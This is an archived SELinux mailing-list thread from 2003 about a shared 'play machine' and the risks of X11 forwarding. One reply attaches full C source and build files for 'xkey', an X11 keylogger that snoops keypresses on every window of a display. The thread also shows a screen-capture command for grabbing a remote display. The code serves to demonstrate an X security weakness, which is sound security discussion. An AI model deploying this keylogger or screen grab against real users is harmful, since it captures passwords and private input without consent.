Skip to contentSkip to conversation

SE play machine

DISCUSSION Russell Coker 3 participants 5 messages Mar 3, 2003 – Mar 4, 2003 SELinux security module

lore
Share & tools
lore
#0 lore raw

Someone claimed to have "0wn3d" the machine. They wrote a perl script that did a "kill -9" on any process for a user that wasn't logged in from their machine.

That this "worked" is no great surprise, when you have several people logging into the same account with the same privs then there's always the risk of someone doing that.

Also I have noticed a couple of people trying to run X sessions from the play machine! In one case the user didn't realise that their ssh client had a default configuration that permitted X tunneling, in another case the user was deliberately trying to run an xterm on the box and tried several different ways of doing it.

For reference, when you encounter someone who doesn't believe that X forwarding is a security issue then you can install imagemagick and run "import -window root file.jpg" to create a copy of what's on their screen to show one part of the problem (the other part is reading the keyboard - for which I have not found a conveniant demonstration program).

Signature · 10 lines
http://www.coker.com.au/selinux/   My NSA Security Enhanced Linux packages
http://www.coker.com.au/bonnie++/  Bonnie++ hard drive benchmark
http://www.coker.com.au/postal/    Postal SMTP/POP benchmark
http://www.coker.com.au/~russell/  My home page


--
This message was distributed to subscribers of the selinux mailing list.
If you no longer wish to subscribe, send mail to [email protected] with
the words "unsubscribe selinux" without quotes as the message.
#1 lore raw

On Saturday 01 March 2003 11:51 am, Russell Coker wrote:
[snip]

Quoted 11 lines

Also I have noticed a couple of people trying to run X sessions from the play machine! In one case the user didn't realise that their ssh client had a default configuration that permitted X tunneling, in another case the user was deliberately trying to run an xterm on the box and tried several different ways of doing it.

For reference, when you encounter someone who doesn't believe that X forwarding is a security issue then you can install imagemagick and run "import -window root file.jpg" to create a copy of what's on their screen to show one part of the problem (the other part is reading the keyboard - for which I have not found a conveniant demonstration program).

Again, only if you are sharing an account. Properly set up, X is relatively secure - The Xauthority file should only allow the user access, and the ssh daemon/xauth should set a random key for access control forwarding.

Normally the X display is identified as host:10.0, and the -window root options will fail as long as the logged in user does not have access to the Xauthority file. This, of course, failes if the idiot(err. loser... ummm user) does an xhost+.

As far as a keyboard grabber: I've attached one that we used to use.

It may require some modification (I haven't used it since X11 R5) so there may be some include file changes.

It is very simple, and not extremly well developed, but does capture keystrokes from currently open windows.

Signature · 5 lines
-------------------------------------------------------------------------
Jesse I Pollard, II
Email: [email protected]

Any opinions expressed are solely my own.

DEPLIBS = XawClientDepLibs
LOCAL_LIBRARIES = XawClientLibs

SRCS = xkey.c
OBJS = xkey.o

ComplexProgramTarget(xkey)

/* To compile, run it through your favorite ansi compiler something like
* this :
*
* gcc -o xkey xkey.c -lX11 -lm
*
* To run it, just use it like this : xkey displayname:0
* and watch as that display's keypresses show up in your shell window. *
* Dominic Giampaolo ([email protected])
*/
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>

char *TranslateKeyCode();
/*char *TranslateKeyCode(XEvent *ev);*/

Display *d;

void snoop_all_windows(root,type)

    Window root; unsigned long type;

{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;

level++;

  stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  if (stat == FALSE)
   {
     fprintf(stderr, "Can't query window tree...\n");
     return;
   }

if (nchildren == 0)

    return;

/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me. */
XSelectInput(d, root, type);

  for(i=0; i < nchildren; i++)
   {
     XSelectInput(d, children[i], type);
     snoop_all_windows(children[i], type);
   }     

XFree((char *)children);
}

void main(argc,argv)

    int argc; char **argv;

{
char *hostname;
char *string;
XEvent xev;
int count = 0;

  if (argv[1] == NULL)
    hostname = ":0";
  else
    hostname = argv[1];
  
  d = XOpenDisplay(hostname);
  if (d == NULL)
   {
     fprintf(stderr, "Blah, can't open display: %s\n", hostname);
     exit(10);
   }

  snoop_all_windows(DefaultRootWindow(d), KeyPressMask);

  while(1)
   {
     XNextEvent(d, &xev);
     string = TranslateKeyCode(&xev);
     if (string == NULL)
       continue;

     if (*string == '\r')
       printf("\n");
     else if (strlen(string) == 1)
       printf("%s", string);
     else
       printf("<<%s>>", string);
     fflush(stdout);

}
}

#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];

char *TranslateKeyCode(ev)

    XEvent *ev;

{
int count;
char *tmp;
KeySym ks;

  if (ev)
   {
     count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
     key_buff[count] = '\0';
     if (count == 0)
      {
        tmp = XKeysymToString(ks);
        if (tmp)
          strcpy(key_buff, tmp);
        else
          strcpy(key_buff, "");
      }

     return key_buff;
   }
  else
    return NULL;
}
#2 lore raw
Quoted 1 line · Jesse Pollard

Again, only if you are sharing an account.

Or if you are logging into an untrusted host, or if you fall victim to one of the MITM attacks against ssh.

Quoted 1 line

As far as a keyboard grabber: I've attached one that we used to use.

Thanks. I'll check it out later.

Signature · 10 lines
http://www.coker.com.au/selinux/   My NSA Security Enhanced Linux packages
http://www.coker.com.au/bonnie++/  Bonnie++ hard drive benchmark
http://www.coker.com.au/postal/    Postal SMTP/POP benchmark
http://www.coker.com.au/~russell/  My home page


--
This message was distributed to subscribers of the selinux mailing list.
If you no longer wish to subscribe, send mail to [email protected] with
the words "unsubscribe selinux" without quotes as the message.
#3 lore raw
In reply to Jesse Pollard
Quoted 7 lines

As far as a keyboard grabber: I've attached one that we used to use.

It may require some modification (I haven't used it since X11 R5) so there may be some include file changes.

It is very simple, and not extremly well developed, but does capture keystrokes from currently open windows.

How do you compile Imakefiles?

I tried:

[553] [scrooge:bam] ~/tmp/grabber >imake
Imakefile.c:33: Imake.tmpl: No such file or directory
imake: Exit code 1.
Stop.
[554] [scrooge:bam] ~/tmp/grabber >imake -I /usr/X11R6/lib/X11/config
imake: Signal 2.
Stop.
[555] [scrooge:bam] ~/tmp/grabber >imake -I /usr/X11R6/lib/X11/config -f Imakefile
imake: Signal 2.
Stop.
[556] [scrooge:bam] ~/tmp/grabber >echo hi | imake -I /usr/X11R6/lib/X11/config -f Imakefile
[557] [scrooge:bam] ~/tmp/grabber >cat Makefile
# Makefile generated by imake - do not edit!
# $Xorg: imake.c,v 1.5 2000/08/18 04:03:59 coskrey Exp $

hi

In the second and third situations, imake was waiting for input on STDIN.

Signature · 6 lines
Brian May <[email protected]>

--
This message was distributed to subscribers of the selinux mailing list.
If you no longer wish to subscribe, send mail to [email protected] with
the words "unsubscribe selinux" without quotes as the message.
#4 lore raw
Quoted 24 lines · Brian May
Quoted 7 lines

As far as a keyboard grabber: I've attached one that we used to use.

It may require some modification (I haven't used it since X11 R5) so there may be some include file changes.

It is very simple, and not extremly well developed, but does capture keystrokes from currently open windows.

How do you compile Imakefiles?

I tried:

[553] [scrooge:bam] ~/tmp/grabber >imake
Imakefile.c:33: Imake.tmpl: No such file or directory
imake: Exit code 1.
Stop.
[554] [scrooge:bam] ~/tmp/grabber >imake -I /usr/X11R6/lib/X11/config
imake: Signal 2.
Stop.
[555] [scrooge:bam] ~/tmp/grabber >imake -I /usr/X11R6/lib/X11/config -f Imakefile imake: Signal 2.
Stop.
[556] [scrooge:bam] ~/tmp/grabber >echo hi | imake -I /usr/X11R6/lib/X11/config -f Imakefile [557] [scrooge:bam] ~/tmp/grabber

Quoted 8 lines
Quoted 1 line

cat Makefile

# Makefile generated by imake - do not edit!
# $Xorg: imake.c,v 1.5 2000/08/18 04:03:59 coskrey Exp $

hi

In the second and third situations, imake was waiting for input on STDIN.

sorry --- I assumed most people had compiled X applications.... (I do a lot more than most people and I just forgot it isn't common knowlege).

Imakefiles are "independant makefiles", and are translated to Makefiles by the "xmkmf" ("X make makefiles") utility. This was done to incorporate vendor X configuration files into the resulting Makefile. The normal cycle to to build X utilities is:

1. xmkmf - to build the top level makefile
2. make Makefiles - to build subdirectory makefiles (if any). In this
particular case, there are no extensive builds, so this step is a no-op
3. make - which builds the application

The xmkmf is usually a shell script that uses the C preprocessor to perform macro substitutions (the vendor specified locations for binaries, libraries, include files, default application configurations) and conditional output generation.

If it is not in your search path, it is normally found in the X11 binary directory (/usr/bin/X11/xmkmf on RH).

Signature · 10 lines
-------------------------------------------------------------------------
Jesse I Pollard, II
Email: [email protected]

Any opinions expressed are solely my own.

--
This message was distributed to subscribers of the selinux mailing list.
If you no longer wish to subscribe, send mail to [email protected] with
the words "unsubscribe selinux" without quotes as the message.